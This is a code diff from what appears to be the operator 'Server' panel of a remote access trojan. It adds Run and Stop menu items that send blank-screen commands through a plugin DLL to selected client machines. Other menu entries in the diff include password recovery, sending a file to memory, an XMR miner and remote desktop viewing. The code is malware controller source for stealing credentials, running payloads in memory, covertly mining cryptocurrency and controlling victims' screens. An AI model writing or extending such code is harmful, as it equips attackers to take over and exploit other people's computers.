this.contextMenuTasks.Name = "contextMenuStrip4"; this.contextMenuTasks.Name = "contextMenuStrip4";
this.contextMenuTasks.ShowImageMargin = false; this.contextMenuTasks.ShowImageMargin = false;
this.contextMenuTasks.Size = new System.Drawing.Size(250, 235); this.contextMenuTasks.Size = new System.Drawing.Size(250, 202);
// //
// pASSWORDRECOVERYToolStripMenuItem // pASSWORDRECOVERYToolStripMenuItem
// //
@ -900,6 +904,13 @@
this.sENDFILETOMEMORYToolStripMenuItem1.Text = "SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem1.Text = "SEND FILE TO MEMORY";
this.sENDFILETOMEMORYToolStripMenuItem1.Click += new System.EventHandler(this.SENDFILETOMEMORYToolStripMenuItem1_Click); this.sENDFILETOMEMORYToolStripMenuItem1.Click += new System.EventHandler(this.SENDFILETOMEMORYToolStripMenuItem1_Click);
// //
// minerToolStripMenuItem1
//
this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1";
this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
this.minerToolStripMenuItem1.Text = "Miner XMR";
this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click);
//
// uPDATEToolStripMenuItem1 // uPDATEToolStripMenuItem1
// //
this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1"; this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1";
@ -942,12 +953,21 @@
this.TimerTask.Interval = 5000; this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
// //
// minerToolStripMenuItem1 // runToolStripMenuItem2
// //
this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1"; this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
this.minerToolStripMenuItem1.Text = "Miner XMR"; this.runToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click); this.runToolStripMenuItem2.Text = "Run";
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
//
// stopToolStripMenuItem1
//
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.stopToolStripMenuItem1.Text = "Stop";
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
// //
// Form1 // Form1
// //
@ -1081,6 +1101,8 @@
private System.Windows.Forms.ColumnHeader lv_ins; private System.Windows.Forms.ColumnHeader lv_ins;
public System.Windows.Forms.ColumnHeader lv_ping; public System.Windows.Forms.ColumnHeader lv_ping;
private System.Windows.Forms.ToolStripMenuItem minerToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem minerToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem runToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem1;
} }
} }

View File

@ -1006,14 +1006,14 @@ namespace Server
} }
} }
private void BlankScreenToolStripMenuItem_Click(object sender, EventArgs e) private void RunToolStripMenuItem2_Click(object sender, EventArgs e)
{ {
try try
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
MsgPack packet = new MsgPack(); MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "blankscreen"; packet.ForcePathObject("Packet").AsString = "blankscreen+";
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "plugin"; msgpack.ForcePathObject("Packet").AsString = "plugin";
@ -1033,6 +1033,32 @@ namespace Server
} }
} }
private void StopToolStripMenuItem1_Click(object sender, EventArgs e)
{
try
{
if (listView1.SelectedItems.Count > 0)
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "blankscreen-";
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "plugin";
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll"));
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
foreach (Clients client in GetSelectedClients())
{
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
return;
}
}
#endregion #endregion
@ -1681,6 +1707,5 @@ namespace Server
[DllImport("uxtheme", CharSet = CharSet.Unicode)] [DllImport("uxtheme", CharSet = CharSet.Unicode)]
public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList); public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList);
} }
} }

View File

@ -24,11 +24,11 @@ namespace Server.Handle_Packet
if (RD.Client == null) if (RD.Client == null)
{ {
RD.Client = client; RD.Client = client;
RD.labelWait.Visible = false;
RD.timer1.Start(); RD.timer1.Start();
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
RD.rdSize = decoded0.Size; RD.rdSize = decoded0.Size;
RD.labelWait.Visible = false;
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
RD.numericUpDown2.Maximum = Screens - 1; RD.numericUpDown2.Maximum = Screens - 1;
} }